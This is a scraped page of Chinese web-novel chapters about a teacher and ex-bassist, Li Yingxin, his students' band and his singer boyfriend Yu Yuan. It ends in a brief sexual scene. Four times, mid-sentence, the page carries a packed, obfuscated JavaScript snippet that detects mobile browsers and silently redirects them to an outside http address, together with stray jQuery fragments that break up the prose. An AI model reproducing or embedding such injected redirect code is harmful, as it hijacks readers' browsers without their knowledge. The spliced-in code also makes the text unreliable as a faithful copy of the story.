只是,不管老师还是家长都很喜欢说一句“学习是为了你自己不是为我”,这句话可能孩子们听得很厌烦,可它却是千真万确的一句话。 当然现在早已不是唯学历论的时代,可是努力往上走,哪怕最后够不到最好的,但也能站在高处往下选,一直站在低处的话,除非好运爆棚刚好来一阵风把你送上去,不然总是举步维艰。 李萤心自己是深有体会的。 他也理解,十几岁的小孩,看着很有主见,你让我学我偏不学,实际上大多还没找到方向,如果对知识本身没有热情对每个学科都不喜欢的话,更不会有特别强的动力去读书学习……也不知道未来自己可能连顿贵价外卖都舍不得吃,永远回不到爸妈掏钱给自己买零食的日子。 说不成熟吧,徐斐然的话也的确有些想当然之嫌,首先就算李萤心认为好好学习总是没错的,但不得不承认就算考上好大学也不一定能找到好工作赚到钱,再退一万步说,有些控制欲真的强过头的家长,会像挥散不去的阴影一样介入你的每一个人生阶段干预你的每一个决定……不一定长大了能经济独立了就能完全摆脱的。 但不管怎样,她以后一直都会有去争取,去反抗的勇气。 比起一个暂时的好的结果,李萤心更希望她……也希望他的每一个学生面对任何风浪时,都有这样的勇气,并且永远不丧失对生活的希望。 而他自己……他是退缩过的人,俞沅和陈悦把他拉了出来,今后他会怀着这样朴素的勇气,就像他也还是徐斐然这样的初生牛犊一样,勇敢地、坚定地去往更远的远方。 徐斐然不好意思地挠了挠头,然后笑了,忽然像想起了什么:“对了!” 李萤心:“嗯?” 徐斐然:“老师,我们乐队的伙伴都是很认真地想问您,能不能真的给我们起个队名?” 也不是语文老师就擅长起名啊……李萤心是起名废一个,“夜这星”都是陈悦起的。但看着学生真挚的眼神,他还是暂时答应了下来。 ……并且把这个问题丢给了朋友们。 反正他们在翻唱夜这星的歌,如果到时候知道名字是夜这星的成员起的,也会高兴的吧:D 李萤心在乐队群里说了前情,请大家集思广益。 石含章:他们对名字有什么要求吗? 李萤心:没有吧。 石含章:那你对他们有什么美好的祝愿或期许吗? 李萤心:希望他们全都考上985算吗? 陈悦:你真是痟个* 李萤心:那咋了? 俞沅:@y,你才是痟 陈悦:我说你了?你那么应激? 俞沅:[兔子打拳.gif] 李萤心:哈哈哈哈 李萤心:认真说,希望别像转瞬即逝的流星吧。 李萤心:哈哈哈哈哈好地狱。 陈悦:怎么感觉你在内涵我没给我们乐队起个好名字? 陈悦:我这就翻遍字典找个吉利好词送给你学生。 石含章引用了李萤心那句自我吐槽:一颗流星虽然燃烧完了就没了,但是宇宙中有无穷无尽的烧不尽的流星 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14174053|145185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 陈悦:我去,还是石老板会说话。 俞沅:[鼓掌] 陈悦:石老板什么时候像流星一样闪现过来? 石含章:有什么事? 陈悦:被这些小孩的青春气息感染到了,我也好想上台啊。 石含章:你可以solo,去你们鲤州西街那个钟楼下面弹唱,再摆个帽子,每唱一首就感谢一下父老乡亲们的支持。 陈悦:…… 李萤心:哈哈哈哈哈哈。 陈悦:我认真的,别在这嘻嘻哈哈的! 石含章:我没问题其实,反正我一天到晚闲得慌。 李萤心:等我们把剩下的歌搞完吧,要开演出也不能只有三首歌。 陈悦:旧歌不能演吗? 李萤心:来点新气象。 …… 最后陈悦给徐斐然的乐队起名叫“常夜灯”,字面意思就是在夜里长明不灭的灯,确实没有烧完就成灰的危险。李萤心查了一下这词,还是个佛教用语,是佛前不分昼夜点燃的灯。 鲤州是佛国,在鲤州诞生的乐队用这样的词来命名也合适。 把这个名字告诉他们的时候,几个小孩也十分满意。 转眼到了这一年的最后一天,常夜灯乐队如愿登了台,一连表演了两首歌,不仅是报名时写的那首《神游》,还翻唱了Green Day的《Wake Me up When September Ends》,欢呼随着乐声一浪一浪的。 李萤心坐在台下给他们录像,以为这两首歌演完就要换下个节目了,他结束录像,听到主持人在台上和乐队成员聊天。 所谓的聊天内容也就是一些套话,一般就算聊,也是说几句就往下说串词了,但不知道是不是这届的主持队想增强一点趣味性,说着说着,主持人就讲要不抽几位老师或者同学上来体验一下乐器…… 李萤心感觉可能没戏,其实很多乐手都不太愿意让别人碰他们的乐器,万一哪个手贱的把人家好好的琴搞坏了也很麻烦。 结果台上几个傻白甜乐呵呵地说好啊好啊。 而且因为主持人说了老师或同学,已经有人开始起哄让什么校长什么主任什么老师上去,毕竟能看到平时一本正经的老师们上台,说不定还会有些搞笑瞬间……大家都是无比期待的。 李萤心有种不妙的预感。 果然下一秒,她就听见台上的王诗恩拿了主持人的麦说:“我想让我们班主任上来!” 他身后他们班坐的位置这一群死小孩也想起哄让他上去,李萤心赶紧摆手,结果覃思明直接跳下来,把他从座位上拽起来了。 现场的起哄声更大了。 李萤心被赶鸭子上架似的赶上台,他这辈子登台很多次,没一次是这么无语的。 上去以后,云里雾里的,手里就被塞了一把琴,徐斐然塞给他的。 主持人说:“那就请徐斐然同学教一下我们李老师弹一下吉他吧!” 李萤心:“……” 徐斐然:“这个叫贝斯。” 44.第四十四章 徐斐然显然已经很习惯这种误解,接着介绍:“贝斯的声音一般比较低,虽然很多人会说听不见贝斯的声音,但一首歌如果没有贝斯的低频就会变得很飘也很不好听……呃理解不了的话直接看弦吧,普通的贝斯一般都是四根弦,六根弦的才是吉他。” 李萤心在心里补充:也不全是这样,也有五弦贝斯和六弦贝斯,五弦比四弦多一根低音弦,一般金属党和爵士党用五弦比较多,六弦则是在五弦的基础上多一根高音弦,玩即兴和solo的大佬会用到六弦贝斯……不过一般情况下让不懂乐器的人靠弦的数量分辨吉他和贝斯也没什么问题,常见的贝斯的确都是四根弦的。 主持人感觉也没听明白,直接cue了下一个流程:“那斐然快教一下李老师吧。” 真是倒反天罡啊,李萤心想。 他侧过头,想看看徐斐然要怎么教他,结果看见边上的主唱和吉他手都用很复杂的表情看着他,似乎有点讶然。李萤心正想着怎么回事是他身上有什么吗?就听见覃思明对主持人说:“感觉不用教。” 主持人:“啊?” 覃思明:“握琴的姿势很标准啊,手指也自动自觉就位了……没接触过的话想怎么拿琴也要想半天吧。” 李萤心大惊:“……”卧槽真的大意了,不是,平时这小子上课有这么敏锐吗?明明叫他起来问这黑云密布的天渲染了什么气氛都能回答成表达了作者的喜悦之情。 但他仍表现得十分镇静,还在那装:“哇那这说明我很有天分啊。” 徐斐然也帮着反驳覃思明:“……可能是刚才在下面看到我拿琴所以就……?”她话说一半,也转头看向李萤心,不知为何做了个双手合十表示歉意的动作,随后在前一个话题还没有定论的情况下她又硬着头皮开始了她的教学,“呃,老师,你就先这样……再那样……” 不明所以的主持人:“李老师学会了吗?试一试吧!” 不管是台上还是台下的学生都叫唤得更厉害了,除了徐斐然很贴心地又争了一句“要不我们还是别为难老师了”,但这句话被淹没在其他想看老师弹贝斯的起哄声中。 李萤心拍拍徐斐然的肩,轻轻摇了头示意自己没事,这种情况下也没必要扫学生兴,反正随便糊弄一下就行了……结果手刚按到弦上,覃思明又说:“哎呀老师别装啦,你根本就会!” 李萤心:“……啧。” 他还未有动作,后头的鼓手先踩起了底鼓随后开始打起节奏。 或许是想着自己这样的确有惺惺作态之嫌,又或许是被台上台下热烈的气氛烧得有点飘飘然……反正也是即将跑路之人,做什么事都不用像之前那么考虑后果了,李萤心借着这股冲动,在所有人的注视中,卡进鼓手的节奏里开始弹一个简单的根音。 只是这样而已,这群小孩就已经闹疯了。 李萤心也没有想过,自己阔别舞台许久,初次重新登台是在这种情况下——他还穿着很平常的衬衫叠毛衣,十分斯文,感觉下一秒就能转身进教室里板书。合奏的乐手们都还颇为稚嫩,地返音箱是孩子们自己带过来的,效果和李萤心以前用的相去甚远。 很仓促,一点也不完美,但热情像燎原的火。 青春就是这样,李萤心纵身跳进了属于他们的青春火焰中。 不过这几个乐手暂时还没集体即兴的能力,李萤心本来在配合鼓手的节奏,结果两个吉他各弹各的,实在有点不堪入耳……虽然台下观众大部分也听不懂,只要有热闹可听他们就跟着瞎兴奋,但李萤心受不了了。 他想了想,换了个音,怕他们听不出来,又对着他们做了口型,示意他们演刚刚已经演过一次的《神游》,好在大家竟然都能反应过来,跟着李萤心直接进了《神游》的间奏。 这首歌中间有一段长达四十多秒的纯乐器演奏,但贝斯只是用最单一的根音垫在下面,鼓也是从轻到弱,主要是强调吉他和笛子,鼓手只敲着鼓槌,最后加强情绪才在鼓上加花。 演奏十分顺利……个鬼,才第三拍,主音吉他弹错了一个音,大概是因为舞台经验太少,小姑娘本来就有点紧张,一错就更紧张了,干脆顿住。 李萤心迅速扫了他们一眼,推测主音吉他王诗恩脑子已一片空白,节奏吉他兼主唱覃思明瞪大了眼,感觉想救一下但是无从下手,还在按原来的模式弹……笛声倒是没有断,只是整体听起来层次一下弱了很多,哪怕是当作笛子solo,也没什么过渡,总之变得有点奇怪。 当然这段本来也不是正式表演,只是一段互动,就算在这里所有人突然都停下来也不会有什么问题。 李萤心只用了一秒犹豫,左手挪到高把位,右手快速过弦,直接用贝斯弹本来应该由主音吉他负责的这部分……其实有些指法在贝斯上是完成不了的,临时改编的话很考验贝斯手对歌曲的熟悉程度。 但很不巧,这歌就是李萤心写的,没人比他更熟悉这首歌。 原本在这一段存在感不高的贝斯忽然从水底浮上了水面,与吉他不同更显沉闷的音色同高亢悠扬的笛声缠绕在一起产生了新的化学反应,造成一种迷幻但和谐的听感,偶然性的“舞台事故”却带来了新鲜的音乐效果。 即便是完全不懂音乐的人,也会被这种直接的听感变化所感染,这就是现场演出的魅力所在。 台下的呼声又起。 这一段结束后,李萤心逐渐换回了最开始的指法,贝斯声再次沉到了水底,他本来想以这样的淡出结束这几十秒的演奏,结果可能是刚才他把孩子们带入状态了,他们几个忽然来劲,本来愣了一阵的吉他手想要夺回属于她的一切,很快又重新把吉他旋律带回演奏之中。 覃思明也扶住麦唱了起来:“小小的神明/牵着我游过光的河流/飞向夜空摘下一束焰火/你和我陷入云间做的美梦/难道只是美梦……” 一直把这段副歌完整演完唱完, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14182814|145185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这几个人才依依不舍地停下来。 李萤心摘下背带,把琴递回给徐斐然,看见她模样恍恍惚惚,仿佛真的神游天外了。 台下还有人在喊安可,不过主持人已经说完谢谢常夜灯和李老师的精彩表演,准备邀请下一组同学上场了。 李萤心本想着从前面跳回台下,回到他刚刚的位置……其实他甚至有点想提前溜了,但是班主任今晚必须维持班级秩序,还要在晚会结束后清点人数,完全没有办法先走一步。 下去以后是免不了被隔壁的老师调侃几句了,旁边的学生如果胆子大或者借着今晚气氛好,肯定也要问长问短。 不过李萤心没有独自下台的机会,他被常夜灯的几个小孩推着直接往后台去了。 但殊途同归,这几个小孩一下去就围着他盘问。 “老师你以前组过乐队吗?!还是说现在也在玩?太厉害了吧!” “平时完全看不出来啊啊啊!老师你也藏得太好了!” “老师你为什么能用贝斯弹吉他的部分啊?强悍如斯……” “老师你除了贝斯会别的乐器吗?是自己学的吗?” “老师你好帅……!” “之前徐斐然还说她每次一换把位就容易卡壳,早知道老师这么牛让她直接问你就好了,”覃思明还在刚才演奏的亢奋状态里,喋喋不休,说着看向徐斐然,“是吧然姐。” 徐斐然是这群学生里唯一一个始终一声不吭的,这非常反常,平时属她话最密……李萤心回想了一下,从刚刚在台上她的表现就有点怪异。 难道是因为他刚才的表演?但比起受到冲击,徐斐然的样子更像做错事等待挨训,直觉对方可能有话要跟自己说,李萤心其他几个还在叽叽喳喳的同学道:“好了你们先去玩吧,我跟你们然姐单独交流一下。” “好吧——” 两人移动到相对安静的角落,当然旁边还是有很多不知道是已经表演完还是正在候场的学生,难得的元旦晚会,学校特许学生今天可以使用手机相机之类的设备,大家都在疯狂合照或者录vlog,又或者各自聊得热火朝天,没人关注角落里这对师生会说些什么。 李萤心开门见山地问:“你怎么了?你是不是有什么话想说?” 没想到徐斐然很夸张地给他鞠了个躬又飞速直起身子,头还是垂着,似乎不敢直视李萤心。 李萤心哭笑不得:“……怎么了啊这是?” 徐斐然此刻的语速快得像个快嘴饶舌歌手:“水晶老师真的对不起刚才我就是脑子一热把我的琴塞给你了害你被迫在大家面前暴露自己我真的不是有意的……” “等下,”李萤心打断了她,“你刚叫我什么?” 徐斐然:“……” 徐斐然:“李、李老师。” 李萤心:“……” 徐斐然崩溃地抓着头发:“啊啊啊啊我真的不活了,老师你把我灭口了吧。” 45.第四十五章 李萤心显然被“水晶老师”这个称呼吓了一跳,不过也没有意外到难以置信的程度。他大脑飞速运转,大概推测出了一些自己被发现的原因:徐斐然是俞沅的粉丝,平时跟乐队排练也没少扒俞沅的歌,肯定也常看他们以前的演出视频。 虽然几年前他上台的样子和现在教书的形象大相径庭,但看多了应该也会觉得不对劲……不过一般人哪怕觉得旧日视频里的贝斯手长得和自己的语文老师有几分相似,也不会就这么笃定吧?谁会把乐队男和老师联系在一起啊。更何况他在以前留下的影像里都还挺活泼的,在班上就是很正常的严肃班主任。 他是还有哪里露出破绽了吗? 而且听徐斐然这语气,也不像是今晚看到他弹贝斯才确认他就是水晶,甚至她话中还有要帮他隐瞒的意思。 李萤心又回想起来更早之前,徐斐然对着他大夸特夸俞沅那三首歌,当然班上也有些社牛孩子会跟老师们安利自己喜欢的爱豆,但徐斐然一般不这样……当时他没多想,如今一琢磨,不会是以安利为由向他表达赞美吧。 诚然他完全不想在学生面前刻意展现自己有什么第二身份,但……还是那句话,他都要走了,和学生相处的时间也是过一天少一天,被发现了就发现吧,以后他要是和俞沅他们一起演出,说不定这些小孩也是会发现的。 李萤心直接问了:“你怎么发现的?”看徐斐然一副战战兢兢的模样,李萤心补了一句,“没事的,我没当回事,我就是好奇。” 徐斐然摇来晃去,低着头看地板:“就……你给我俞沅演唱会票那一次。” 李萤心挑了挑眉。 徐斐然解释说:“我之前只是觉得你很眼熟,但是也只是觉得长得像而已……你给我票那次,我确定自己没有参加任何后援会的活动,发私信问了一下人家,人家也说没有给我寄过票,再看看那个落款那么简陋我还以为是骗子,抱着点侥幸心理去了现场还真进去了……然后我想来想去,觉得可能是你,那位置那么好,如果不是认识俞沅的人,很难拿到。” 还蛮聪明的,不过李萤心没承认:“但这也只是你的推测吧。” “对啊……但是,”徐斐然顿了顿,“呃,后来我在论坛有看到过别人拍俞沅又来鲤州玩的图,里面有你……” 这个李萤心还真没料到,因为他一般就看看超话之类的,超话打私生打得很厉害,大家也只讨论公开行程……果然其实并没有什么能包的住火的纸。 李萤心问:“什么论坛啊?” 以为是什么俞沅的粉丝聚集地,结果徐斐然说了个乐迷论坛,那个论坛李萤心也是知道的,以前偶尔还会上去看看,里面什么都有,有挂乐手骗钱骗感情的,有排雷乐队现场难听票价贵的,也有各种安利楼资源楼……不过李萤心记得那是个私密论坛,要进去还挺麻烦。 当然徐斐然是个乐手,会关注到这个论坛也正常。 李萤心最后没对自己被发现这件事做出什么回应,包括演唱会票和被拍到照片的事他也没说什么,反而叮嘱了徐斐然一句:“少看论坛,看多了心态容易受影响的。” 尤其他们这些还在成长期的小乐队,没作品的时候容易看到最近什么被推崇就跟着搞什么风格,有点声量以后又容易看见点差评就破防。不过这种话点到为止,说多了跟要给人当爹似的。 “好的好的,”徐斐然终于敢抬头瞄李萤心一眼,“老师你……没生气吧?我保证我没有跟任何人说过,其他人都是不知道的,他们就算看了夜这星以前的演出视频也没有联想到你啦。” “没有,有什么好生气的,”李萤心道,“还要谢谢你帮我保守秘密。” 徐斐然一下站直了,做了个敬礼的动作:“使命必达好吧。” 李萤心被逗乐了,笑说:“玩去吧。” 但徐斐然没有像往常每次说完事那样迅速跑开,站在原地欲言又止。 “怎么了?还有别的事?”见徐斐然还是忸忸怩怩,李萤心福至心灵,“你是想探听点关于俞沅的事吗?” “不是!!”徐斐然否认得飞快,但接下来却犹豫半天没有开口,半晌才挤着一张脸道,“老师,你……唉也没什么,没事,老师我先走了!再见!” 这次真的又是转头就溜得不见人影了。 …… 学校里的元旦晚会自然不可能搞什么零点倒数,十点左右最后一个大合唱节目结束以后,随着主持人激昂的陈词,晚会也就宣告落幕。学生们还是得各自回宿舍,等待家长明早来接他们回家或者他们自行回去。 不过宿舍关门的时间倒是延迟了些,晚会结束后还是有很多学生在各种social,也有学生趁着氛围好找老师拍合影……李萤心刚刚在舞台上出尽了风头,也被自己班上的学生拉着问东问西还一起拍了很多照。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14192579|145185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 如果是平时他还真有可能趁早走人,但出于一种不舍的心理,他今晚对学生的请求都没有拒绝。 等学生们玩得差不多回去了,他叮嘱男女寝不同的班干部回去记得帮宿管老师再一起清点一下人数,又做了一些收尾工作,回到公寓的时候已经十一点多。 回去以后李萤心没有马上洗漱休息,他先看了看手机,置顶的聊天框里有几条俞沅的留言,都是一两个小时前发的,李萤心把消息回了,暂时没有收到回复。 俞沅今晚去了潭州录那边电视台的跨年晚会,这个时间他的节目早就演完了,但李萤心还是把直播打开,按惯例俞沅演完之后应该正在台下坐着,他想看看能不能捡到点俞沅的镜头。 打开直播的时候前面一对热播古偶男女主刚结束了对唱,之后没进下一个节目,镜头切到另一位在台下待机的主持人身上,她说接下来要问问大家有什么祝福要送给电视机前的观众朋友。 随后采访了这艺人那明星的,其实说来说去也就那些话,有些人趁机宣传了一下自己近期的作品,李萤心看得走马观花,没太仔细留意他们说了些什么,找到俞沅坐哪个位置以后就一直盯着他看。 台上没有演节目,他就呆呆坐着,旁边别的艺人偶尔凑过来跟他说话,他也搭上几句。 主持人问了这一排五六个人,轮到俞沅前一个的时候,俞沅正襟危坐起来,瞄了一眼镜头又重新看向前方。 今晚俞沅的扮相比平时都要成熟点,知名设计师品牌的新中式刺绣西服超季首穿,发型打理得也很精致,额头露了出来,像个贵气的小王子。 小王子的造型李萤心早已通过对方发来的自拍提前看到,只是小王子的举动让李萤心感觉……就和办公室里同事正在发零食,准备发到自己时,自己又要期待又要装作很忙的样子也差不多…… 终于轮到俞沅,主持人也让他说些祝福的话。 俞沅对着镜头招招手,吉祥话同样说得没什么新意:“谢谢各位一直以来的支持,祝大家新的一年身体健康万事如意,我也会更加努力给大家带来好的作品。” 说完他顿了顿。 主持人问他是不是还有什么要说。 俞沅“嗯”了一声。 在这档面向全国观众、收视率颇高的直播晚会里,俞沅温柔地注视着镜头:“水晶,你在看吗?新年快乐,新的一年一定会更好。” 46.第四十六章 公寓外的焰火升空,一朵接着一朵,五颜六色的流光散开,点亮整个夜晚。 直播中主持人似乎想问什么又碍于节目要严格按照流程进行,匆匆转向了下一个受访者,镜头里只看得到俞沅的一片衣角。 那天聊视频时李萤心说自己总透过屏幕看俞沅,俞沅没有马上对这句话做出什么回应,当时说了晚安,隔了有一个小时,俞沅才编辑了一段信息发给李萤心,他说:那个时候我不确定你还有没有在关注我,当时特别想快点火起来还有一个原因,是想让你偶然打开电视或者刷视频软件时看到我的概率增加,我看着镜头的时候,有时的确会有私心……我知道我看不见你,但我会幻想你隔着屏幕看到我的眼睛,幻想你像从前那样笑眯眯地看我。 他还说:你说我在屏幕里只跟你互动让你产生一些幸福感,其实我一样感到很幸福,因为你的注视不再是我的幻想,而且你不只像从前像看个好朋友一样看我,你爱我。 谁知那天李萤心也没有睡着,即刻回复了他,故意问:为什么刚才不在视频的时候直接说,要打这么多字? 俞沅:因为我会不好意思。 这样说着,俞沅却又发来一条语音:“我爱你,宝贝。” 李萤心反复点开这条语音来听,整颗心都感觉盈满了,满到要溢出来的时候,他像个复读机一样回了俞沅一句:“我爱你,宝贝。” 不是“我也爱你”,不是因为你爱我所以我也爱你,是我本来就爱你。 然后没过多久,俞沅再一次地透过屏幕,说完了对歌迷朋友的感谢和祝福之后,特意留了一句话给李萤心,只给李萤心。 隔着八百多公里,他们的目光确定地碰撞在一起。李萤心也终于明白,他在梦里看见的,连接着他和俞沅的光路,或许是一条闪耀的、命定的红线。 俞沅说,新年快乐,新的一年一定会更好。 晚会直播到了零点倒数环节,窗外的烟火炸得更频繁了些,打开窗隐约能听见不远处广场上年轻人们聚在一起欢呼的声音。 倒计时五四三二……说到一的时候,李萤心拿起手机给俞沅发了一条语音留言:“新年快乐,我们在一起,一定会更好。” 这句话发出去时,手机屏幕上的时间刚好跳到零点。 …… 晚会结束后,俞沅和同场的艺人社交完,和场外等了很久的粉丝朋友打了招呼让助理给他们买了热奶茶又叮嘱他们早点回去,坐上保姆车,准备直接去机场。 他在车上卸妆,小宋哥捧着个iPad不停叨叨:“天呢你真是天生流量圣体,刚刚你那句话说完立刻上热搜了,热门微博是搬运别的论坛你和水晶这对CP的领嗑帖……这要跟别人说我们真的没炒作你和水晶的CP谁信啊?别人正炒反炒都没这个效果,我真服了。” 俞沅想借晚会直播送祝福环节给水晶捎一句话,这事是提前跟小宋哥报备过的,不是临时起意。毕竟他不可能为了自己爽乱说话让工作人员焦头烂额。和小宋哥说过这个想法之后对方觉得完全没问题,不管俞沅最终想把舆论导向哪边或者说不要让舆论出现,他都有相应的方案。 俞沅说:“确实没有炒作啊,全是真心。” 小宋哥:“那怎样,要不要把节奏带一下,让他们别嗑CP了?” 俞沅:“让他们嗑吧。” 小宋哥:“水晶老师怎么说?” 俞沅:“我没有跟他说过晚会的事,但我们有讨论过CP的事,我问他要是以后一起演出,他介意我在台上……或者说在观众面前和他亲近吗?他说反正现在艺人们谁没几个CP?装模作样的反而更奇怪,我也觉得顺其自然就好,不故意炒也不管歌迷自发的行为,只要不扒隐私,让他们嗑吧,到时候水晶一个个跟他们收份子钱。” 小宋哥捧腹:“哈哈哈哈。” 确实现在对于看客来说到底谁是真的谁是在炒太难分清了,有人觉得炒得很猛的肯定是假的,其实说不定人家在借着炒作光明正大秀恩爱,流量爱情双丰收,有人觉得避嫌得过于夸张的才是真情侣,其实人家完全是一对相看两厌的死对头……当然反过来也有。 别说看客了,小宋哥一开始看俞沅和李萤心关系有点微妙,也不敢冒昧揣测人家是在谈,毕竟世界上什么人什么相处模式都有……不管他察觉了多少,他手下的艺人没主动说,他就统一当没在谈。 也是因此,俞沅生日那天小宋哥看见李萤心在俞沅家,倒不是没多想,反而是想太多,人家没说什么,他不想自作聪明立刻撤退搞得别人尴尬……结果还真闹了乌龙,他们几个电灯泡当真妨碍了别人共度良宵。 小宋哥对这事一直心怀愧疚,一愧疚他就卖力工作,卖力工作的结果就是:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14199768|145185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……哦对了,我给你谈了个厉害的。” 俞沅:“什么?” 小宋哥:“群岛音乐节其中一天的压轴。” 俞沅卸完妆正在擦脸,手上的动作顿了一下:“……我上了不会挨骂吗?” 说这个音乐节厉害,倒不是说出场费高之类的,主要是因为这个音乐节办了三十年,给大大小小不同风格的乐队提供舞台,乐队知名度完全不在主办考虑范围,他们的理念是“每支乐队都是一座小岛,音乐的世界就像群岛,希望乐迷能来这里欣赏到不同的岛屿风光”,“好听”和“与众不同”是他们对乐队为数不多的要求。 这两个看似简单的要求因为没有明确标准而且非常主观,也确实有过被强推的乐队在群岛的舞台上翻车,但大体上经过这么多年的发展,很多乐队和乐迷已经把这个音乐节当成淘选强力新人和为老乐队加冕的地方——换言之,能上这个音乐节,至少算是硬实力得到了挑剔的小众圈子的认证。 以前还在夜这星的时候他们也向主办应募过,结果当然是没有结果,当了solo歌手以后,俞沅跟这个舞台就更加不可能有半点关系了。 小宋哥说:“你一个人上当然会挨骂啊,而且主办也不可能为了你破例吧……他们想让你之前的乐队一起过来,说之前想邀请你们的时候你们已经解散了,你看看能不能和他们聊一下呗,也是个机会,也不用担心我这边,到时候真要上的话他们几个单独和主办签合同就行,我不额外干涉的。” 俞沅长久地没有说话。 这确实是一个好消息,只是他不可避免地产生了一种以为自己考不上大学出去打工结果多年后在家翻出录取通知书的荒谬感……不过,算了,都过去了,他们已经迈向新的人生,前路依然有音乐和鲜花作伴,不需要靠以前的“录取通知书”来证明自己得到过认可。 就算这次真的要登台,也不是因为想向乐迷证明自己“看吧连这么厉害的音乐节都邀请我们了我们是真的很行哦”,而是也想作为一座岛屿,从海底世界上浮,看看这个世界,也让世界看看他们。 俞沅说:“谢谢宋哥,我回去问一下他们。” 不过这都以后再说吧,他现在要去机场,他马上会登上往鲤州去的班机,他迫不及待地想先跟李萤心当面再说一句新年快乐,新的一年第一天他要和恋慕的人待在一起。 47.第四十七章 俞沅到达李萤心的公寓时是早上,他按指纹进屋,卧室门没关,他望了一眼,李萤心正在梦乡,大概是感觉到有什么动静,翻了个身,脸埋进被子里继续睡。 俞沅脱了外套挂好,轻手轻脚去衣柜里拿自己的睡衣,去冲了个澡,再把自己擦得干爽,免得钻进被窝后残留的水汽蒸发变冷,冻到同床的人。 他掀开被子一角躺进去,大概是感觉身边突然陷了一点下去还多了个热源,李萤心下意识地贴过来,过了一阵眼睛掀开一条缝看向俞沅,含混不清地喊了一声“小沅”。 俞沅抚着李萤心的发丝,在他额头落下一个吻,轻声道:“继续睡吧哥。” 李萤心把眼睛闭上,手环到俞沅腰间接着睡了。再醒来的时候情况反了过来,俞沅合着眼,呼吸绵长,睡得正香。 李萤心手肘支在枕头上欣赏了会儿帅哥睡颜,随后轻轻地起来洗漱,再回房间发现俞沅还在睡,他反正也没什么事,就重新躺下来继续欣赏。 看了一会儿心痒痒的,李萤心凑过去亲俞沅,本来只想偷袭一下,一触即分,结果不知道这小子是装睡还是被他弄醒了,李萤心的嘴唇刚要离开,俞沅抬手放到他脑袋上又把他强行压下来。 于是点水的蜻蜓溺进湖水里,李萤心一手抵在俞沅胸口,另一手撑着床单,床单被抓出的皱褶像湖面泛起的涟漪。 双唇贴得紧密,不留一点空隙,口腔内负压的状态让人发麻,舌与舌互相推动交缠,电流穿过两人的身体。 最后湖水放过了蜻蜓,蜻蜓沾了一翅的露水在湖面低飞。 俞沅捧着李萤心的脸,眼里噙着笑意,他说:“新年快乐。” “新年快乐。”李萤心微微喘着,也回了句祝福。 这样撑着的姿态不太好受,李萤心躺下,又侧过身来和俞沅面对面:“有什么安排吗?” 俞沅摇头。 李萤心:“那就躺着吧。” 躺着,最不费力气最简单的一个动作,对他们来说却很不容易实现,工作性质使然,两人常常忙碌,就算见面也总是匆匆。 像现在这样能暂时什么也不想一起躺着的机会十分难得。 只是面对面地躺着,李萤心忍不住又靠过去贴上俞沅的唇。这张嘴唱歌的时候很好听,亲起来也很好亲。 吻到一半,察觉到对方有些变化,李萤心把脸埋到俞沅颈间,轻声问他:“做吗?” 然后很明显地听到俞沅吞咽唾液的声音。 其实恋爱也谈了有三个月,但是之前碰面要么待一会儿就分开,要么考虑到李萤心平时工作强度也很大,以前又没做过,俞沅不敢怎样,两个人最多就互相帮助了下。 还有一次李萤心一边做手工一边很想打过去的自己的脸,什么有手就行根本用不着谈恋爱,谈了恋爱之后自己弄时孤独的感觉盖过所有,导致他怎么也弄不出来,最后没办法了,李萤心打电话给俞沅,哄着其实也毫无经验的俞沅说些过激的话才做完了这次手工活。 结束之后比平时还难受,难受得李萤心怀疑自己是不是有什么肌肤饥渴症,好想被俞沅拥抱。 其实也有点不好意思,但氛围已经到这儿了,李萤心问完做吗之后俞沅没有说话,身体力行地回答了他,无师自通地将他的衣服推了上去,手和李萤心的手交握,脑袋埋到他胸前,得到一声轻轻的哼声。 …… 触碰,相融,厮混到窗外的天色变暗。 李萤心累得又睡过去了,俞沅洗完床单又去熬粥,一边淘米一边回想刚才李萤心哼哼唧唧地喊他哥哥喊他老公,呼吸又忍不住乱掉。 像做梦一样。 